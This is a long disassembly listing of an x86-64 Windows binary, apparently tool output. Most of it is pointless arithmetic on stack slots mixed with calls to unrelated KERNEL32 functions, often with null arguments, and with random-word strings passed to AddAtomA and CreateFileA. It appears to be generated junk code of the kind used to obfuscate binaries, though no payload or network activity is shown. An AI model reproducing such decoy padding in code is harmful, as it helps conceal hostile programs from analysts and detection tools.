call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b98], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3d49
mov r9d, 0x3289
mov r8d, 0xe7598a5b
mov edx, 2
mov rcx, qword [rsp + 0xb678]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4614], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4590], eax
lea rax, [rsp + 0x127]
mov qword [rsp + 0xc268], rax
mov rax, qword [rsp + 0x9ee0]
mov ecx, dword [rsp + 0x44c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0x9168]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa680], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9258]
mov qword [rsp + 0xc270], rax
mov eax, dword [rsp + 0x4a34]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
movzx eax, byte [rax]
mov byte [rsp + 0x181], al
movzx ecx, word [rsp + 0xbac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1134], ax
mov rax, qword [rsp + 0xabd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1074]
add eax, ecx
mov word [0x1401e6040], ax
mov rax, qword [rsp + 0x9b20]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc8]
and eax, ecx
mov word [rsp + 0xf0c], ax
lea rax, [rsp + 0x1114]
mov qword [rsp + 0xc278], rax
movsx eax, byte [rsp + 0x54]
movsx ecx, byte [rsp + 0x64]
sub eax, ecx
mov byte [rsp + 0x131], al
mov eax, dword [rsp + 0x4524]
mov ecx, dword [rsp + 0x49a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x464c], eax
mov rax, qword [rsp + 0xb330]
mov rax, qword [rax]
mov qword [rsp + 0xc280], rax
mov rax, qword [rsp + 0xc0e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x489c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x449c], eax
mov rax, qword [rsp + 0xc018]
mov rax, qword [rax]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0xc120]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb178]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa120]
mov word [rcx], ax
mov rax, qword [rsp + 0xbf90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13c]
sar eax, cl
mov rcx, qword [0x1401e74d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaed8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf68]
xor eax, ecx
mov rcx, qword [rsp + 0xadf8]
mov word [rcx], ax
lea rax, [rsp + 0xf68]
mov qword [rsp + 0xc290], rax
movzx eax, byte [rsp + 0x140]
mov rcx, qword [0x1401e7700]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov byte [rcx], al
lea rax, [rsp + 0x4b8c]
mov qword [rsp + 0xc298], rax
mov rax, qword [rsp + 0xa5e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb420]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc90], rax
mov rax, qword [rsp + 0xaad0]
mov rcx, qword [rsp + 0xae38]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc1a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0d0]
mov eax, dword [rax]
mov dword [rsp + 0x4b9c], eax
mov rax, qword [rsp + 0xb3b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf7c]
sub eax, ecx
mov word [rsp + 0x1100], ax
movzx eax, byte [0x1401e74b3]
movzx ecx, byte [rsp + 0x12d]
sub eax, ecx
mov byte [0x1401e609e], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4a60], eax
lea rax, [rsp + 0x88]
mov qword [rsp + 0xc2a0], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13c]
add eax, ecx
mov rcx, qword [rsp + 0xaeb8]
mov byte [rcx], al
mov rax, qword [0x1401e7488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx eax, byte [rsp + 0x101]
mov byte [rsp + 0x182], al
mov rax, qword [rsp + 0xbf40]
mov rcx, qword [rsp + 0xc1c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4744], eax
mov eax, dword [0x1401e6018]
mov dword [rsp + 0x4ba0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4724], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4448], eax
mov rax, qword [rsp + 0xbfa8]
mov rcx, qword [rsp + 0xb128]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb6c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xabe0]
mov rax, qword [rax]
mov qword [rsp + 0xc2a8], rax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4ba4], eax
lea rax, [rsp + 0xd7]
mov qword [0x1401e7970], rax
movsx eax, word [rsp + 0xbc8]
mov rcx, qword [rsp + 0xbca8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb8], ax
lea rcx, [rsp + 0x2a3a0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4ae0], eax
movzx eax, word [rsp + 0x108c]
movzx ecx, word [rsp + 0xd18]
xor eax, ecx
mov rcx, qword [rsp + 0xb5f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa0e0]
movzx eax, word [rax]
mov word [rsp + 0x1194], ax
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13b]
sar eax, cl
mov byte [rsp + 0x100], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.C:danesMustmotileShamelessness
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc2b0], rax
lea rcx, [rsp + 0x26a88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xa058]
mov qword [rsp + 0xc2b8], rax
mov rax, qword [rsp + 0xaa60]
mov rcx, qword [rsp + 0xb6c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9f88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rax, qword [rsp + 0xaff8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fc0]
mov qword [rsp + 0xc2c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2c0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4784], eax
mov eax, dword [rsp + 0x485c]
mov dword [rsp + 0x4ba8], eax
lea rcx, [rsp + 0x2a080]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x47b4], eax
lea rcx, str.rewordings_Oink_spa_stinking
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1198], ax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [0x1401e6092]
sub eax, ecx
mov byte [0x1401e6032], al
mov rax, qword [rsp + 0x8fc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0xb890]
movzx eax, byte [rax]
mov byte [rsp + 0x183], al
movsx eax, word [rsp + 0xd04]
mov rcx, qword [rsp + 0xab88]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb740]
mov word [rcx], ax
movzx eax, word [rsp + 0x110c]
movzx ecx, word [rsp + 0xc40]
sub eax, ecx
mov rcx, qword [rsp + 0xbaa8]
mov word [rcx], ax
lea rax, [rsp + 0x9ca0]
mov qword [rsp + 0xc2c8], rax
mov eax, dword [rsp + 0x4800]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbfd8]
mov dword [rcx], eax
lea rax, [rsp + 0x9ce8]
mov qword [rsp + 0xc2d0], rax
mov eax, dword [rsp + 0x44c0]
mov ecx, dword [rsp + 0x4270]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4388], eax
mov rax, qword [rsp + 0x9788]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9918]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e7638]
mov byte [rcx], al
movzx eax, word [rsp + 0xcd4]
mov word [rsp + 0x119c], ax
movzx ecx, word [rsp + 0xdcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
mov rax, qword [rsp + 0xafb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x104]
add eax, ecx
mov byte [rsp + 0x92], al
movzx eax, word [0x1401e609c]
mov rcx, qword [rsp + 0xb150]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbf80]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
movzx eax, word [rsp + 0xb74]
mov word [rsp + 0x11a0], ax
mov rax, qword [rsp + 0xc298]
mov ecx, dword [rsp + 0x4758]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0x9ac8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4494]
mov dword [rsp + 0x4bac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xaff0], rax
mov rax, qword [rsp + 0xbf10]
mov rcx, qword [rsp + 0xa058]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa500]
mov qword [rcx], rax
lea rdx, [rsp + 0x28308]
mov rcx, qword [rsp + 0xb9a0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4aac], eax
mov rax, qword [rsp + 0xb3d8]
mov rcx, qword [rsp + 0xb128]
mov qword [rsp + 0xc2d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa498]
mov qword [rcx], rax
lea rax, [rsp + 0x11c]
mov qword [0x1401e7978], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc2e0], rax
lea rcx, str.weavings_Hungering_Affirming_Woodmen_Pulp
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1134], ax
lea rax, [rsp + 0x107]
mov qword [rsp + 0xc2e8], rax
mov rax, qword [rsp + 0xa880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x99f0]
movzx eax, word [rax]
mov word [rsp + 0x11a4], ax
mov rax, qword [rsp + 0xb8f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
or eax, ecx
mov byte [rsp + 0x7c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0xba38]
mov rcx, qword [rsp + 0xa870]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xac68]
mov qword [rcx], rax
lea rax, [0x1401e7420]
mov qword [rsp + 0xc2f0], rax
mov rax, qword [rsp + 0x9ee8]
mov ecx, dword [rsp + 0x4864]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x473c], eax
mov rax, qword [rsp + 0xa050]
mov eax, dword [rax]
mov dword [rsp + 0x4bb0], eax
lea rax, [rsp + 0x150]
mov qword [0x1401e7980], rax
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0xb5a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfa0], ax
movzx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0xba90]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa270]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc2e0], rax
movzx eax, word [rsp + 0xff0]
mov word [rsp + 0x11a8], ax
movzx eax, word [rsp + 0xddc]
mov rcx, qword [rsp + 0x9280]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb500]
mov word [rcx], ax
lea rax, [rsp + 0x9690]
mov qword [rsp + 0xc2f8], rax
mov eax, dword [0x1401e6018]
mov ecx, dword [rsp + 0x4270]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a4c], eax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xc300], rax
mov eax, dword [rsp + 0x4644]
mov ecx, dword [rsp + 0x48a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
lea rcx, str.Bonding_mar_Tuition_chinoiserie_gloominess
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x11ac], ax
movsx eax, byte [rsp + 0xfe]
mov rcx, qword [0x1401e77b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6032], al
movzx eax, byte [rsp + 0x9e]
mov rcx, qword [rsp + 0xbdd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xab], al
movzx eax, word [rsp + 0xfe4]
mov word [rsp + 0x11b0], ax
mov rax, qword [rsp + 0x9ed8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec4], ax
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0xbdb0]
mov rcx, qword [rsp + 0xa2f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb7f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9e58]
mov eax, dword [rax]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47a8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea rax, [rsp + 0x4858]
mov qword [rsp + 0xc308], rax
lea rdx, [rsp + 0x28378]
mov rcx, qword [rsp + 0x9900]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4ba4], eax
mov rax, qword [rsp + 0xb240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa448]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4bb4], eax
mov rax, qword [rsp + 0xa040]
movzx eax, word [rax]
mov word [0x1401e7988], ax
lea rax, [rsp + 0xed8]
mov qword [rsp + 0xc310], rax
movsx eax, byte [rsp + 0x176]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc050]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa3]
movzx ecx, byte [str.Wc_r8]
or eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0xc0c0]
movzx eax, word [rax]
mov word [rsp + 0x11b4], ax
mov eax, dword [rsp + 0x4760]
mov rcx, qword [rsp + 0xbc68]
mov qword [rsp + 0xc318], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc318]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x46b4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xac30]
mov rax, qword [rax]
mov qword [rsp + 0xc320], rax
mov rax, qword [rsp + 0xba38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e6008]
shl rax, cl
mov qword [rsp + 0xb648], rax
mov eax, dword [rsp + 0x44c0]
mov dword [rsp + 0x4bb8], eax
mov rax, qword [rsp + 0x9608]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa2f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa2c0]
mov byte [rcx], al
movsx eax, word [rsp + 0xd64]
movsx ecx, word [rsp + 0xe90]
sub eax, ecx
mov word [0x1401e60f8], ax
mov rax, qword [rsp + 0xbf80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc24], ax
lea rax, [rsp + 0x136]
mov qword [rsp + 0xc328], rax
movsx eax, word [rsp + 0xfa0]
mov rcx, qword [rsp + 0xc0c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xd04], ax
lea rax, [rsp + 0x9f68]
mov qword [rsp + 0xc330], rax
mov rax, qword [rsp + 0x95e0]
mov rcx, qword [rsp + 0xc068]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xac68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a30]
mov ecx, dword [rsp + 0x4398]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x437c], eax
lea rcx, [rsp + 0x25548]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x490c]
mov dword [rsp + 0x4bbc], eax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [0x1401e7678]
sub eax, ecx
mov word [rsp + 0xe6c], ax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x49d0], eax
lea rax, [rsp + 0x113]
mov qword [0x1401e7990], rax
lea rax, [rsp + 0x1194]
mov qword [rsp + 0xc338], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xc340], rax
movzx eax, byte [rsp + 0x7c]
movzx ecx, byte [rsp + 0x72]
sub eax, ecx
mov rcx, qword [rsp + 0x9770]
mov byte [rcx], al
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0xa328]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3f8]
mov eax, dword [rax]
mov dword [rsp + 0x4bc0], eax
mov rax, qword [rsp + 0x94e8]
mov ecx, dword [0x1401e6018]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xac80]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0x9b30]
mov qword [rsp + 0xc348], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xbec0], rax
mov rax, qword [rsp + 0xbae8]
mov rcx, qword [rsp + 0xbf50]
mov qword [rsp + 0xc350], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb3a8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x141]
movzx ecx, byte [0x1401e6083]
shl eax, cl
mov byte [rsp + 0x16e], al
movsx eax, word [rsp + 0xffc]
mov rcx, qword [rsp + 0xbce0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401e7610]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6f81
mov rcx, qword [rsp + 0xa220]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x436c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4824], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4430], eax
lea rax, [rsp + 0x52]
mov qword [rsp + 0xc358], rax
mov rax, qword [rsp + 0xae08]
movzx eax, word [rax]
mov rcx, qword [0x1401e7940]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xe1c], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x185], al
mov rax, qword [rsp + 0xb8d8]
mov rcx, qword [rsp + 0xa978]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb3c0]
mov dword [rcx], eax
lea rax, [rsp + 0xb2f0]
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0x96d8]
mov rcx, qword [0x1401e6008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa408]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x9c58]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4a58], eax
lea rdx, [rsp + 0xc368]
mov rcx, qword [rsp + 0xc080]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x45f0], eax
mov rax, qword [rsp + 0xa210]
mov rcx, qword [rsp + 0x9420]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc308]
mov dword [rcx], eax
lea rax, [rsp + 0x121]
mov qword [rsp + 0xc370], rax
movzx eax, word [rsp + 0xdd8]
mov rcx, qword [rsp + 0x9fd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e6130], ax
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa038]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x112], al
mov edx, 0x2e82e8
mov rcx, qword [rsp + 0xa538]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x48cc], eax
lea rax, [rsp + 0x1014]
mov qword [rsp + 0xc378], rax
mov rax, qword [rsp + 0xab88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb7c8]
mov word [rcx], ax
movzx eax, word [rsp + 0xf28]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov eax, dword [section..data]
mov dword [rsp + 0x4bc4], eax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb128]
mov qword [rcx], rax
lea rax, [rsp + 0xace0]
mov qword [rsp + 0xc380], rax
mov rax, qword [rsp + 0xa158]
mov rcx, qword [rsp + 0xbc30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4554], eax
mov ecx, reloc.COMCTL32.dll_DrawInsert
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x46e8], eax
mov rax, qword [rsp + 0x9de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
sub eax, ecx
mov rcx, qword [0x1401e7498]
mov byte [rcx], al
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [rsp + 0x57]
sub eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov byte [rcx], al
lea rax, [rsp + 0x10c4]
mov qword [rsp + 0xc388], rax
movzx eax, word [rsp + 0xda4]
movzx ecx, word [rsp + 0x1110]
shl eax, cl
mov rcx, qword [rsp + 0xab58]
mov word [rcx], ax
mov rax, qword [rsp + 0xb000]
movzx eax, byte [rax]
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0xaa00]
mov rcx, qword [rsp + 0xa388]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa0a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb10]
mov rcx, qword [rsp + 0x9a38]
mov qword [rsp + 0xc390], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x96d8], rax
mov eax, dword [rsp + 0x4834]
mov dword [rsp + 0x4bc8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rax, qword [rsp + 0x9408]
mov rax, qword [rax]
mov rcx, qword [0x1401e7420]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0xe78]
mov qword [0x1401e7998], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4bcc], eax
mov rax, qword [rsp + 0x9f58]
movzx eax, word [rax]
mov word [rsp + 0x11b8], ax
mov rax, qword [rsp + 0xa400]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e601f]
and eax, ecx
mov byte [rsp + 0xc4], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
lea rax, [rsp + 0xc2c]
mov qword [rsp + 0xc398], rax
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdb8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xacc8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa2e0]
mov rcx, qword [rsp + 0xab10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4960], eax
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe80], ax
lea rax, [rsp + 0xa200]
mov qword [rsp + 0xc3a0], rax
mov rax, qword [rsp + 0xa210]
mov ecx, dword [rsp + 0x48c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ba8], eax
lea rax, [0x1401e7410]
mov qword [rsp + 0xc3a8], rax
mov r9d, 0x1d19
xor r8d, r8d
lea rdx, [rsp + 0x9178]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4bd0], eax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov word [0x1401e7728], ax
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0xc228]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
add eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe04]
movsx ecx, word [rsp + 0xf9c]
and eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17d]
mov byte [rsp + 0x187], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x43d0], eax
mov rax, qword [rsp + 0xb180]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb2]
add eax, ecx
mov rcx, qword [rsp + 0xa6e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9778]
mov qword [rsp + 0xc3b0], rax
mov rax, qword [rsp + 0xb4f0]
mov rcx, qword [rsp + 0x9168]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe38]
mov dword [rcx], eax
lea rcx, str.lamppost_bornagain_Psychology_levelly_abstractly
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x10b4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc3b8], rax
mov eax, dword [rsp + 0x4ad0]
mov dword [rsp + 0x4bd4], eax
lea rax, [rsp + 0x131]
mov qword [0x1401e79a0], rax
mov r9d, 0xb22
xor r8d, r8d
lea rdx, [rsp + 0x9718]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x42f4], eax
movzx eax, byte [rsp + 0xe5]
